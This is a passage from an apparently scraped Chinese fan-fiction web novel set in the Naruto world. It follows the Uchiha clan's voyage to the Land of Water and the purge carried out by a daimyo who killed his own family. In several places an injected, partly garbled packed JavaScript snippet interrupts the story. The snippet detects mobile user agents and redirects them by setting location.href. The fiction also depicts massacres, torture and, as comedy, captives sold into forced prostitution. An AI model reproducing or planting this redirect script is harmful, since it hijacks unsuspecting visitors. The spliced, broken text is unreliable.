阿幸的话让冥夫想起了曾经的一位同僚,对方在投靠主公之后又吃里扒外,现在坟头草……哦,连坟都没有。 那位同僚死了之后,水无月绫才取代了对方的地位。不过他们这些人前后投靠主公的时间都挺接近的,只能说那名前同僚误判了,以为刺杀任务失败被收服,是主公性子太善。 善是没有的,没见过的兄弟基本都被坑死了,就连姐妹也都一个没放过。 冥夫虽然疑惑没有继承权的姐妹为什么都在自家主公的名单上,但贵族的想法与忍者不同,争权夺利手足相残很正常,就算是忍族也有内斗呢。 他只要做好自己的分内事就行了,没心情去管大名家的家事。 不过…… 死的人确实很多。 冥夫以前觉得忍者基本手里都沾人命,可和自家主公相比……他们这些家忍沾的人命加起来都不够对方手里的一个零头。 忍者早就习惯了高强度的行动,虽然宇智波族里免不了会有一些身体羸弱的老幼,还有查克拉弱得不适合当忍者的人,但也靠着互帮互助没有人拖后腿。 他们不眠不休的行进两天一夜,抵达了最近的一处海岸,那里停靠着早已等候的两艘大船。 宇智波一族加起来足足上千人,两艘船刚刚好。 斑之前就知道会有船只接应,但真的见到船之后心里还是有些高兴。虽然忍者也能在海面上行动,但那是需要耗费查克拉的,就算是天生查克拉量多的宇智波,要想靠着双腿迈过大汪洋也是天方夜谭。 而且这船从外面看就很宏伟,等上了船,只是在甲板上打量一番,就让他很满意。 这两艘应该是商船,等人都上岸之后,船就启航,这时候,路上一直很沉默的阿幸突然对田岛说:“主公的脾气和一般贵族不一样,不喜欢繁文缛节,也不喜欢阿谀奉承,只要恪守本分不要自作聪明,他会是一名很随和的主公。” 田岛自然想提前知道七旭公子的脾性,只是对方这两名家忍行事说话滴水不漏,语言试探没有用处,又不好用上幻术。 现在对方愿意透底,他自然真诚谢过。就算不需要特意去讨好对方的家忍,但好歹以后要听令同一个人,关系协和也很重要。 冥夫早就知道宇智波不像传闻那般跟冰雕出来的无情冷漠,在田岛摆出态度来之后,他摸了摸鼻子说道:“具体的等你们见过主公就清楚了,私底下他很好相处的,就是独食喜欢吃大头不太好。” “独食?”田岛有些不解。 独食牵扯的应该是利益那块,政治这块与忍者没关系,那就只能换成实物的财宝。但既然接受对方的雇佣,他们自然不会拿不该拿的东西。 所以拿大头……不应该是全拿吗? 难道还有得分的吗? “就是这个。”冥夫从兜里掏出一个油纸包,虽然很节省了,里面也只剩下四五根干牛肉,他拿起一根塞进嘴里,一边咀嚼一边说,“一整头牛做出来的干牛肉,他拿走了九成,剩下的一成才分给我们。可护食了,自己吃完了还会抢我们手里的。” 田岛:= =??? 在场的其他宇智波:??? “还有还有,去见主公的时候别带好吃的过去,他鼻子可灵了,闻到气味肯定会要你拿出来,他来分配,也是拿大头。”冥夫郁闷的道,“他都遭遇好多次毒杀了,怎么都不上心。我们都得防备其他人带的食物是不是下了毒。” 宇智波们:……哦。 那可真是一位过分随意的主公了。 船有船长掌舵,有水手维护,还有专门的厨师,甚至还有医师,准备很充分,在船上无所事事待了两天之后,斑觉得他们不像是在迁居,而是在享福的。 他是个很自律的人,在研究完又一卷轴之后,就拉着刚睡醒的泉奈去甲板上吹风。 泉奈打着哈欠,他昨晚熬夜了,现在都有些昏昏欲睡。头靠着斑的肩膀坐在甲板的栏杆上,伸了个懒腰蹬了蹬腿,说:“可惜了,船上不适合练习忍术。” 刀术倒是可以练,昨晚可是挥了好几个小时的刀,还和自家父亲用体术对练了一段时间。 像泉奈这样的宇智波并不少,大部分的族人并没怎么坐过船,甚至还有一些人晕船。 泉奈倒是不晕船,但也会觉得不太舒服,睡不好觉。 他说:“斑哥,以前家族迁到火之国的时候也这样吗?” “你想多了。”那时候斑已经出生,但泉奈还在母亲的肚子里。“那时候走的都是陆路,不怎么走主道,灰头土脸的,每次停下来休息第一件做的事就是挑脚上的水泡。” “哦。”泉奈转了转眼珠子,说,“那我运气比哥哥们好太多了。” 斑斜了他一眼,不说话。泉奈缠着他:“斑哥,你就不想说说其他兄弟的事吗?你都这样了,二哥他们应该好不到哪里去,他们当时比我还小呢。” “没什么好说的。”斑不是很想和泉奈提起另外三个兄弟。他失去了三个弟弟,他们去世的时候泉奈还小,甚至还不懂事。 但泉奈总会冒出一些好奇心,询问起来。斑一开始会说很多,可每次说完之后泉奈睡觉就会说梦话,甚至还会偷偷躲起来哭。 次数多了他就不乐意说了。 ……母亲的事也同样。 泉奈撇嘴。 哥哥不提,问父亲也同样避重就轻的不提,搞得他好像还是个不懂事的小鬼一样,他心里有丢丢不爽。 “你不说他不说,以后等我死了,到冥界遇到了都认不出——” 话没说完,嘴巴就被斑死死捂住。 斑皱着眉头,眼神坚定的说:“你不会死。有我在,你会活得好好的,会变成头发花白掉光了牙的小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16913490|191081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老头,吃糖都只能含在嘴里咬不动。” 泉奈:“……哦。应该不至于一颗牙都没有吧。”咬不动糖未免太惨了吧。 斑呵呵:“就你那嗜糖的口味,迟早掉光牙。” 忍者大多拒绝不了甜味,糖是能快速恢复体力的好东西,而且吃了之后焦躁的心情也会平缓一些。 这个世道的绝大多数人都喜欢甜。 但泉奈肯定算得上其中最为忠诚的甜党之一,比田岛还喜欢。斑以前不止一次抓包这小子偷偷含着糖睡觉。 泉奈眨了眨眼,轻声说:“我们都会活到老的,不管是斑哥还是父亲,都会活到白头发的时候。” 斑:“……哼,你就会哄我。” “不是斑哥自己先提的吗?这样就双标了哦。” “那你还是在哄我。” 斑对弟弟的小伎俩早就有了免疫力,把人拉进怀里,不一会儿就把泉奈的头发揉得一团乱,又用手指梳理对方的头发。 不同于泉奈平日简单的束发,斑给他绑了个高马尾。 泉奈摸了摸头顶,嘟哝着:“为什么我就绑不好。” 选择最简单的束发是因为高马尾对泉奈来说是一种挑战,他在这块挺苦手的,总是不小心绑歪。而且他的发型有一半遗传自父亲,上面那块总是生不长,发质又硬,下面那块又很柔顺。 不听话的头发在斑手里却格外安分。 斑没回答,而是弹了弹他的鼻子,眉眼温和:“等你长大了就能绑得好了,再不然,哥哥也乐意帮你绑一辈子。” 泉奈的嘴角扬得高高的,正打算说什么的时候,从身后传来阿幸止不住兴奋的声音。 “扬旗!把水之国的国旗都挂上去!” 阿幸虽然不是那种总是摆着冷脸的人,但也算不上健谈,大多时候脸上都没什么表情。 但此时的她却是神采飞扬,脸上止不住的笑容绚烂得比中午的太阳还要刺眼。 她一边大声的吩咐水手们将准备好的水之国旗帜挂上,一边兴奋的大步走过来和一脸莫名的斑和泉奈用力的握手,转而又和走过来的田岛及几名长老握手。 闻声而来的田岛还未问出口,阿幸就先道:“恭喜恭喜,同喜同喜,主公他已经继任大名之位了!” 她眉飞色舞的说:“我们终于混出头了哈哈哈~~” 要说不高兴是不可能的,虽然田岛猜测水之国大名的身体应该不太好,却没想到自家的雇主这么快就成为新大名。 但面上他还是问:“先大名是病逝?” “病逝?”阿幸哈哈大笑起来,拍着他的肩膀说道,“怎么可能,那老东西身体好着呢。不过你要说病逝也行,听起来要好听一些。对了,他那小公子也病逝了,可怜哦,不过小孩子嘛,贵族夭折的孩子多了去了,不像我们忍者那么健康,他们十个都得死两个,死了很正常,正常哈哈哈~~” 田岛:…… 他脑子里冒出一个不可思议的念头。 “难道是……” 听着话不是病逝,身体健康。小公子死的原因也不是单纯的夭折,那就只有一种可能…… “篡、篡位?他把自己的父亲和兄弟都杀了?”斑吃惊的瞪大眼。 “对啊。”阿幸双手叉腰,洋洋得意的道,“正常正常,虽然没想到主公下手那么快,一见到大名就下手了,但问题不大,兄弟姐妹都能杀,凭什么老爹不能杀,正常操作啦!” 说着又是用力的拍着田岛的肩膀。 田岛:…… 他觉得自己的肩膀要被拍折了。 不对,重点是——那位公子那么硬核的吗?! 虽然不是没听过杀父篡位的大名,但之前水之国那么多公子自相残杀的事,和那位公子有关系的吗?! 而且这种事光彩吗?这么大声的喊出来,别说是他们忍者,那些水手们也都听见了好不? 田岛深吸口气,职业素养让他快速的冷静下来,目光扫过远处那些面色各异的水手,眼里闪过一丝冷意。 14.第 14 章 吃惊是真的,收尾工作也得做,弑亲上位终究不是什么好名声,田岛对大名家争权夺利的事情没兴趣,但他想保住手头这份委托。 阿幸看出他的想法,挥手道:“放心吧,主公动手的时候还吩咐过不用拦着消息,他巴不得天下所有人都知道。” “为什么?”斑迷惑,“他不要名声的吗?” 兄弟姐妹一个不留,不遮掩粉饰就算了还巴不得别人传播,他想不明白这么做对七旭能有什么好处。 而且……好狠。他就没看错,那小子阴险得很。 一想到之前相遇时对方那不着调的样子,斑捏了捏弟弟的手心,心微微安。 这么一来,心里那点子被对方耍的怨气烟消云散。虽然他是打了对方没错,但至少没碍到对方的路,非但没被追究还被雇佣。 ……等等,如果家里不接这份委托的话是不是会被打击报复啊?就算待在火之国里,就对方那能耐想给家族添堵也简简单单。 水之国那些公子内讧的时候,那小子还是火之国的一个小透明公子呢,隔着那么远都能动手,更别说要针对一个忍族了。 虽然斑心里有些不甘愿,但他还是清楚贵族针对忍者并不是没有办法,相反的法子多的是。 斑:“所以还是很阴——” 泉奈反手捏住自家兄长的手腕,堵住对方忍不住要说出口的话。有些话私底下说说就行了,人家的家忍在这里呢,若不是想撕破脸就没必要节外生枝。 虽然……大家都看得出来那位新任大名手里的家忍性子都有些奇怪。 雇主自己都不在意名声,田岛就歇了心思,没给自己额外揽活,但接下来的日子还是让族人盯紧那些水手,若是对七旭怀抱着怨气,他是不介意刀下多几条人命。 对外宣传是一回事,没脑子看不清局势,对水之国的新大名有不满的话,那还是早死早超生的好。 从私船转变成官船,只是顶头上司身份变化的区别,在挂上代表水之国官方的旗帜之后,沿途的船只见到了也是远远避开。 但另一边的水之国就没那么平静了。 国都里,看起来一副永远睡不醒模样的男人,晃着步子的穿过走廊回到自己居住的房子,他一进门,里面的几个同伴就都凑过来。 “怎么样,有没有被拦着,外面有什么大动静没?” 他们齐齐凑上前,被追问的奈良柳用袖子抹掉脸上的唾沫星子控诉的盯着这些人。 秋道清座不好意思的嘿嘿笑着,掏出手帕递过去,被奈良柳没好奇的打开:“离我远点,你们一个个的熏死人了。” 秋道清座委屈的说:“也没那么臭吧,我前天刚洗过澡了。别说那些没用的,打听到什么消息没?” 在座的六个人都出自火之国猪鹿蝶三族,三家很早之前就联盟,就连组队都是一族出一个,刚好互补。 这次火之国大名派了忍者护送那位公子,也雇佣了颇有历史的猪鹿蝶,而九人里就以奈良柳为首。 奈良柳是奈良这代族长的堂弟,在众人心中也颇有威望,为了这笔单奈良族长也是把自己底下最得力的人给派出来的。 按道理来说收集情报这种事不该让奈良柳一个人负责,但谁让奈良柳放心不下这些傻狍子,决定亲自出马。 他扫过这些人忐忑不安的紧张面孔,心里在叹气。 本来族长派他来是想提防有没有人想对那位公子不利,别出了事把任务搞砸了,现在看来那位公子好得很,惨的是其他人。 哦,现在已经不是公子了,是大名。 “外面确实很乱的,那位公子……水之大名已经把前大名安葬了,听说朝堂上有七成人都被他逼着殉葬,前大名后宅里的也有不少被殉葬。” 死掉的都是背后有实权势力娘家的侧室。“被殉葬的是之前死去的大名子女的生母。无所出的都被他一笔钱打发掉,让她们各自回家。” “所以……”秋道清座咂舌道,“传闻是真的,那些公子公主的死和这位大名有关。他也太可怕了吧。”这可是自灭满门啊,而且……“他就不怕那些贵族联合起来把他拖下位吗?” “能在回府第一日就直接下手,连宴会都等不及的人,哪可能会害怕。”奈良柳头疼的揉了揉太阳穴,“真不知道他想做什么,外面一团乱,但凡敢出声讨伐的也都被杀干净了,而且这次竟然只对参与的人下手,他们的家人都没有获罪,反而还给了一笔丧葬费。” 那位大名回家第一天,就干脆利落的当着所有人的面杀了自己的父亲,又杀了几个护住的武士和官员。 大名养的家忍们并不参与这种朝会,估计也没想到会有人在这样的场合动手杀人,等反应过来时还没冲进去,就被对方的家忍杀干净了。 哦,奈良柳看得清清楚楚,水无月那边被雇佣来的忍者也含泪跟着水无月绫一起动手了。 也不是不能理解,前大名都死了,这时候不出力估计也怕被自家前少族长给嘎了。 然后飞速给前大名举办葬礼,顺道将‘夭折’的小公子也一块儿塞进前大名的棺材里,殉葬了大半个朝堂的官员,处理了声讨贵族和大名的后院,却唯独放过所有官员的家人。 但也不算彻底放过,反正敢出声敢不满的全都灭口了,很多贵族家里被杀得只剩下妇孺。 藤门太明直接被任命为新任的家老,是他拿自己父亲和兄长一家的命换的。 外面说得上是血流成河,每家每户都不敢挂白布白灯笼,但家家门口都有血迹。奈良柳一路望去,那群被吓坏了的贵族可是连哭声都不敢传出去。 “……水之国的忍者可真好命啊。”山中道二不合时宜的发出羡慕嫉妒恨的声音,“这位大名直接委托了大半个水之国的忍族来平息贵族叛乱,还有前大名雇佣的那群护卫的忍者,有一个算一个也拿到了不少赏赐,全都吃上肉了。” 以前也接过刺杀贵族的单子,但那些任务可没这么轻松,忍者的刀对向忍者可能还会有损伤,杀那群四肢不勤的贵族却比杀鸡还要容易。 山中道二想到那群拿到钱就倒伐得特别快的水之国忍者,口水都要流下来了。 山中棋确实皱着眉道:“他这地位能稳当吗?” “管他稳不稳当,反正反抗他的人都死了,就算回头那群贵族报复,也和我们没关系。”奈良柳翻了个白眼的说,“但水之国的忍者……确实是真好命啊。” 而他们这群跟着来的火之国的忍者却被落下了。火之国那边的武士倒是被控制了起来,他们这些忍者被随便指了几处宅子落脚,就无人搭理。 也不算彻底被遗忘,至少每天三顿都有人送来。 可吃不上这口饭还是觉得有点亏。奈良柳想到那些水之国忍者口袋装了多少钱,若不是理智还在都想伪装一番去出力了。 就没接过这么省力的委托! “就当做是放假了,反正火之国那边也不会少了我们的委托金。”一名奈良耸了耸肩,趴回了原位。 虽然没有外快,但也没有生命危险,那就这样吧。 可仔细想想,这名奈良族人还是忍不住的嘶了一口气:“面上是真看不出来啊。” 好歹在船上也和平待了一段时间,本来还以为这位大名不弄幺蛾子挺好相处的,还能和自己家忍拌嘴,被家忍言语冒犯了也没有什么实质性的惩罚。 结果?彻底看走眼了。 水之国国都的混乱持续了好几天,七旭已经入住了大名府,仗着手里有刀,他行事没什么顾忌。 桌案上有各家贵族送过来的表忠心的章函,他随意翻了翻记住了名字,也没管。 他甚至都没有关上大名府的大门,就像是欢迎贵族们上门送死一般,而国都因为这些事导致各个机构停摆的混乱他也没管。 不管是谁看来,这位新大名都不是很靠谱的样子。 而正是这位不靠谱的大名,任由国都流了大片血,平民或是闭门不敢出或是举家迁徙了三天之后,转头给底下的忍者下了新的命令。 “去把这几天趁机烧杀掳掠和犯事的人全都杀了。” 水无月绫一直跟在七旭身边,但情报如雨雪一般的连绵不断的送进这里,她自然也知道国都里有不少人想趁着混乱捞一笔,可以她对七旭的了解,她谨慎的问着:“是要做到什么程度?” “支持百姓们自己举报,小偷小摸的,趁机对妇女无礼的流氓也一个都别放过,将他们拉到城门口,当众斩首。” 水无月绫:……那这死的人可太多了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16918763|191081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 而且……百姓? “百姓是指谁?”总不能是指那些平民吧? 她以前没听过这种称呼,贵族称呼底下人大都是一句贱民。 七旭眼皮子都没抬一下:“这个程度的清理只限定在国都和各个大城,镇和村里的只要不沾命案,犯事者全都关起来做苦劳力。” 说完,他转而对旁边战战兢兢的藤门太明说:“处理犯人和登记百姓户籍的事要同步,你去派人给每家每户的人口做登记,年龄性别数量职业和基础的家庭情况都要详记,我不是带了一些女人回来吗?让她们跟着去,她们识字,由她们来做记录。” “可……是,下官领命。”藤门太明还不知道美人还能用在这种地方,心里很是排斥。 底下又不是没有识字的小吏,何必用到那些出身低贱的女子。可他也不敢反抗七旭。 他实在是被吓怕了,光是抬眼看七旭的勇气都没有。 “还有……”七旭继续道,“做登记的时候,全国范围内所有的百姓,都必须给自己家取一个姓氏。” “咦?!”藤门太明本来以为自己已经被练出了胆量,面对什么事都能泰然自若,可七旭的这个命令还是把他吓得不轻。“贱……平民也要有姓氏?” 这个世界也就只有贵族和忍者才有资格拥有自己的姓,很多平民甚至连自己正经的名字都没有。 若是平日里,谁家提出要给平民取姓势必会引起朝堂震动,但藤门太明升起来的‘姓氏被贱民玷污’的愤怒,在他忍不住抬头对上七旭那双幽沉的眼睛时,所有的胆气都烟消云散。 他只觉得自己的脖子在发凉。 所谓的贵族尊严,在自己的命面前是不值一提。他只能诺诺的低头,不敢再发一词。 而这时候他也明白百姓是指什么。贱民都能有自己的姓氏了,那称呼百姓也有了源头。 “有了姓,区分起来就简单了。”可能是藤门太明的识趣让七旭的心情好了一些,他微笑道,“我喜欢听话的狗,明白吗?” 见藤门太明颤颤巍巍的应了,他才满意的点头:“知道就滚下去吧。我想你应该不会蠢到会放弃这个机会。” 什么机会?自然是出头的机会。 虽然被任命为新的家老,但藤门太明内心还是尤为不安,他摸不准这位新大名的心思,只觉得可怕。 死了那么多贵族,里面不乏自己的亲朋,他也会物伤其类。可即便是被对方称呼为听话的狗,在听到近乎是承诺的话之后,藤门太明还是心底冒出一种狂喜。 ……只要听话,就能坐稳这个位置。 即便是他想着要投靠,也从未想过自己竟然会走到这么高的地位。而想要留住这份权力……他就必须拿出破釜沉舟的气势和赤胆忠心。 藤门太明真如七旭所说的那般,滚着离开了大殿。水无月绫眨了眨眼,就听到七旭带着笑意的声音:“骨头真软啊,废物。” 听起来是很轻蔑的话,但七旭的语气里却不带嘲讽之意。 水无月绫没出声,她去了内室吩咐完底下的家忍之后,又重新回来尽职的做着护卫工作。 “你看起来对我挺有信心的。”首座的七旭突然来了一句。 水无月绫不知道自家主公又想发什么癫,反正她自己也挺癫的,她想了想说道:“这是贵族们的家事吧,只要您能稳住水之国内的贵族,其他国家顶多也就口头讨伐一下。” 所以稳不稳,只要坐得上去,别被拉下位就行。 之前还有些搞不懂为什么七旭会想利用挖坟这件事搞得各个国家的贵族人心惶惶自顾不暇,但现在她明白了。 那些他国贵族忙得很,就是他们知道水之国发生的事,也腾不出手来管,况且动手的是一国大名,死的是一些不听话的贵族,他们并非不能接受。 起码没有赶尽杀绝不是么? 况且…… “宇智波应该也快到了。”水无月绫的底气就在于此。 如今七旭用钱来委托水之国内大半的忍族,这些忍族能为了钱替七旭杀人,来日自然也能为了钱站在叛乱的贵族那一边。 但宇智波们不一样。 无论是实力,亦或者他们在水之国没有根基,都足以震住这个国家的忍者。 15.第 15 章 深夜,明月高悬,乘风破浪的船只,守夜的两名宇智波打着哈欠,背靠着栏杆昏昏欲睡。 两道黑影借着浪声的遮掩从水中冒头,沿着船壁顺畅的一路往上,猛然间窜起,其中二人捂住宇智波的抠鼻,一手苦无抹上脖。 伴随着闷哼声,被偷袭的两名宇智波眨眼便失去生息。 得手的忍者松口气的同时难掩心中的得意,见其他同伴也相继成功取了宇智波及甲板上的水手的性命,剩余的忍者才放心的攀上船。 “传说中的宇智波也不过如此。”一名忍者不屑的嗤笑一声,他的手上还沾染着温热的血,贪婪的看向倒地不起的宇智波。 “看看有没临死前开了写轮眼的,挖出来也能卖。”他低声提醒着同伴。 宇智波家并没有像日向家那般对血继限界施加禁制,但想要收集写轮眼,就必须确保对方死后依旧维持开眼的状态。 “不用急,两船都是呢。”他的一名同伴如此道,“抓紧时间吧。” 说话的那人嘴上应着,却没有放在心上。他们又不是来自同一族或者一个组织的忍者,而且现在得手也不代表能够将宇智波真的一窝端。 还不如趁着现在多藏几只写轮眼,看情况不妙逃跑之后也不算一无所获。 当然这话不能说出口。他们之所以选择在海上作战,就是认准了大海是他们的地盘,擅长水遁的水之国忍者在海上作战更有利。 一旦计划失败,他们也有很大概率逃走,只要毁掉船只,即便是传闻中的宇智波在茫茫大海中也能死伤无数。 这名水忍忌惮着宇智波的传闻,虽然嘴上硬气,在其他水忍屏息摸向船舱时,自己却是分出一个水分/身跟上,悄然的在暗处想要挖几颗写轮眼。 他的主人私底下说了,但凡能带回一只完整的写轮眼,就有大笔赏金。 还不知道战况会持续多久,不然这名水忍会选择直接连眼睛和尸体一块儿收进储物卷轴,只是储物卷轴并没有时间停滞和保鲜的功能,就只能眼睛和身体分开储存。 他摸向了一具尸体,眼尖的看向还有两个人是同样的动作,心照不宣的对视过后,他们互不干扰的掏出匕首和专用的封印罐。 手抹上了面前尸体紧闭的眼帘,正要掀开眼皮的时候,底下的人突然睁开了双眼,三勾玉的写轮眼犹如艳阳下的旗杆的阴影,让水忍的视野就像是重叠一般的飞速旋转。 ——糟了! 同样的情况发生在不止一人身上,这名水忍惊恐的瞪大双目,他试图提醒前方已经没入船舱的同伴,全身的失重感让他无能为力。 前方的人并没能发现异样,他们并没有因为一开始的顺利而放松警惕,而在他们的认知里,身后并没有任何异常。 直到几名感知力强的忍者敏锐的察觉到什么时,一切都晚了。 斑百无聊赖的坐在一处舱顶上,冷眼看着一群夜间袭击的忍者跟睁眼瞎般的无视他与族人,对着空气又是下手又是得意的低声交谈,原本以为成功摸进船舱的袭击者,实际上像是鬼打墙似的在原地转悠,那得逞的模样看得斑心里有些发笑。 偶然间有发现不对劲的袭击者,也被他的族人悄无声息的干掉,在大型的幻术之下,那些袭击者什么都没发现,还以为行动一切顺利。 “水之国的忍者都这么废物的吗?”斑无趣的道,“难怪那个家伙要找上我们家。” “你要称呼为殿下。”翔仓长老无奈的在旁边提醒。 已经是大名了,自然是要用殿下这个专称。 “啰嗦。”斑撇嘴,“当面了我当然不会这么叫他。”私底下爱怎么叫就是他自己的事了。 翔仓长老翻着白眼:你就看准了我们不会出卖你对吧? 斑哼了一声,心底却是有些郁闷。在出发之前对方的家忍就提醒过,在宇智波即将抵达水之国时他会放出雇佣宇智波的消息,到时候肯定会有袭击者。 虽然对方不提,宇智波也不可能会掉以轻心,但七旭的话也确实让他们提前有了充分的防范。 防范的结果便是这群袭击者注定被全部留下来。 这群忍者并不知道他们在还没靠近船时就已经中了幻术,等到最后被一锅端的时候才全部傻眼。 能集结四百余的水之国精英忍者,背后的谋划者也算是下了血本,里面自然不是所有都是被冲昏头脑的忍者,但谁让他们一开始就先中了幻术失去先机,察觉异样的人老早就被拿下,剩下的等回过味来也都只能成阶下囚。 “刚才就是你说要挖写轮眼的吧。”斑一脚将一名水忍踹飞出去,下一瞬又出现在对方身后,一刀斩断了对方的双膝。 “斑。”田岛无视那名水忍的惨叫,不咸不淡的说,“殿下有令,要留下他们的命。” “切。”斑甩掉了刀上的血迹,一脚踩在那名水忍的脸上,鞋底用力的碾压两下,才勾起嘴角不怀好意的道,“活着有时候比死了还惨,你以后就知道了。” 被七旭那小子点名留下来的命,不用想都知道不会有什么好下场。那小子连自己的全族都能杀干净,怎么可能会在意这群公然和他作对的忍者。 几个领队的已经被单独分开拷问,剩下的水忍也没人有心情听他们的谩骂诅咒或者求饶,全被绑在一起堵住嘴巴严防看守。 过了一会,负责拷问的族人出来了。田岛叫来了长老和两个儿子,听完拷问者的话之后,他目光冷厉的看向那些瑟瑟发抖的水忍。 被拷问过的水忍也如死狗一般的被拖出来,体无完肤且神经错乱的模样足以震慑住他们的胆气。 汇报的宇智波并没有控制音量,阿幸和冥夫也听懂了来龙去脉,冥夫啧啧道:“难怪主公没有让那群贵族死绝,原来是在钓鱼啊。” 水之国的自由忍者几乎都被自家主公雇佣,刀口对准国内的叛逆之徒,但贵族们并没有因为家族保存而放弃反抗。 他们各家的家主或是出息的族人都死在了新大名手中,而这些家族自然都是有底蕴的,私底下皆有培养的家忍。 出动的这些忍者,便是他们精心培养多年的精英家忍。他们的主人想得很透彻,如果任由宇智波进入水之国,那他们就没可能反抗新大名,于是破釜沉舟的联合在一起。 就算没能灭掉宇智波,也能让宇智波元气大伤,如此才有机会。 只是他们没预料的是会踢到铁板。 忍者基本是以忍族为单位,各族都有不外传的秘术,即便是脱离家族的浪忍,也大多会选择继续维持自由之身。如此,能够被贵族从小培养的私忍,要么是没有姓氏的平民忍者,要么就是家族被毁之后被捡漏的。 这些私忍虽然被大力培养,可也鲜少被派上真正的战场,更擅长的还是刺杀下毒或者斥候工作。 别说对手是宇智波,就是随便对上几个成气候的小忍族,也是不够看。也就只有那些天真的贵族以为自己养着的私忍有多大的能耐。 不过对田岛来说,这些都是次要的。虽然里面有一些忍者对宇智波出言不逊,但雇主既然说了要留下他们的命,他也只是默认一些族人在不伤他们性命的前提小小报复一下。 等到上岸之后,带着一大帮俘虏,他最遗憾的也就只有贵族们过于没用,来回算下来也就只有三波袭击者,加起来的俘虏也就小一千人。 港口已经被封控,被派来迎接宇智波的官吏已经准备好车马,事先得到命令的他们恭恭敬敬的将宇智波们送上马车,又将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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那老板嫌弃的瞥了他一眼,道:“我买男忍。你是不知道,殿下从火之国带了一批花魁过来,说她们识字又识趣,让她们跟着小吏们干活,还能拿工资,我店里那些人听了一个个都动心了,殿下还下令了但凡吉原里有人想要离开不能拦着,一下子就走得七七八八。” 识字罢了,吉原里哪个女的不识字?就算是游女也都是识字的。以前是没得选,现在能有份正当还体面的工作,只要不是脑子坏掉的都知道抓住这个机会。 老板哭诉着:“我那店里就剩下一些生病了没地方去的,殿下还给她们做了记录,说定期来查看,如果不给治病或者非自然死了就要问我们的罪。可店总不能不开吧,就只能买人了。” “那你买男忍回去也没用啊。”一名路人疑惑的道,“谁照顾他们的生意啊?” 那老板得意的说:“买男的,当然是女的来照顾生意啊,女的都能当小吏了,说不准以后能当官,而且女商人女小贩也不少吧,男的有需求难道女的就没有?比起买那些不中用的小男生,这么多年轻力壮的男忍不是更合适?他们还是犯了罪的,就是接客接死了,上面也不会问我的罪。而且都是忍者了,肯定比一般男的强壮,一天能多接好多个客呢。” 她想得可周全了。 路人:“……有道理啊!” 笼车里的男忍:……有道理你个鬼啊!!! 老板继续道:“而且殿下下了命令,生孩子会奖励当妈的,那有些人肯定不乐意把女儿嫁出去,又担心招了赘婿被欺负,我做这门生意,她们不用招赘就能有孩子,肯定乐意来,这生意不就有得做么?” 路人:“……太有道理了!活该你发财!” 笼车里的男忍:“发你个#¥%¥%——!” 斑,斑捂住了泉奈的眼睛,转而又捂住他的耳朵,最后还是把弟弟拉回来,合上帘子,一脸严肃的说:“睡觉吧,你什么都没听到。” 泉奈眨巴着眼睛,后背一软栽进自家老爹的怀里,小声和田岛咬耳朵:“斑哥竟然听得懂?” 田岛看了眼一脸羞臊的斑,和泉奈说:“说明那次吉原的任务下对了。” 16.第 16 章 水之国的国都淼城离宇智波们停靠的港口并不算远,路上的所见所闻让这群火之国来的忍者可谓是大开眼界。 两边官道每隔五十步竖立着一根直杆,顶上都挂着一个骷髅头,惨白白的骷髅阴森可怖,可奇怪的是周围人非但不怕,甚至还有小孩朝着骷髅投石子吐口水。 “那些都是贵族。” 给田岛一家掌车的车夫笑呵呵的解释。他往常也给不少贵人掌车,自认为见过不少世面,自然不怕这些外国来的忍者。更因为这些忍者是新大名特地从国外雇来的,也有意讨好。 市面上传闻大名之所以千里迢迢从火之国雇佣宇智波,是因为对方从小就在那里长大,用不惯水之国的忍者。 车夫:“听上面的意思,殿下觉得这些贵族作恶多端欺君罔上,死了也应该悬首级示众。但直接挂脑袋会吓到娃娃,而且容易引发瘟疫,干脆就火化了,脑袋挂上去。” 车夫没说的是,他们这群平民私底下还议论着贵族的骷髅头长得和他们的也没什么区别。 他旁边坐着的宇智波莲:……哦。 她是不害怕的,擅长火遁的忍者,用火遁直接给敌人火化也不是一次两次了。但她觉得挂骷髅头还是首级好像也没什么区别,同样吓人。 忍者很冷漠,但车夫谈兴还是很高,他也见过不少忍者,但一整个家族都是美人的忍者还是第一次见。就算宇智波莲总是冷着张脸,他还是没话找话。 “殿下还给我们赐姓,公文贴在府衙的告示栏,派人给我们念,说从今往后我们就是百姓,还废除奴籍,勒令各家释放所有的奴隶,还要补发工资,以后想用仆人就必须雇佣,出台了法律保护我们的命还有财产安全。” 车夫以前也是一户贵族家的奴隶,恢复自由身之后见府衙临时雇佣一批车夫来接送这些忍者,他就立马报名了。 自从新规出来后,他觉得自己好像都长高了,腰背从没像这几天般直挺过。至于赐姓?其实姓是他自己想的,来登记的人让他们自己想要姓什么,若是实在想不出来就帮他们想一个报上去。 车夫:“有些人脑子有毛病,有姓还不好吗?以前贵族才有资格有姓,现在能轮到我们可是大好事,偏偏他们还不肯,所以那些女吏就干脆给他们随便编一个。但她们编出来的听起来就酸溜溜的,什么福织川啊吉林松啥的,哪有我的姓多多米好听。多多米这姓一听就饿不死。” 宇智波莲:……哦。 不理解但尊重。 车夫:“我可不是没见识的人,听说外国可乱了,天天在打战。”他试图表现自己的博闻识广,力求不要被当成文盲。 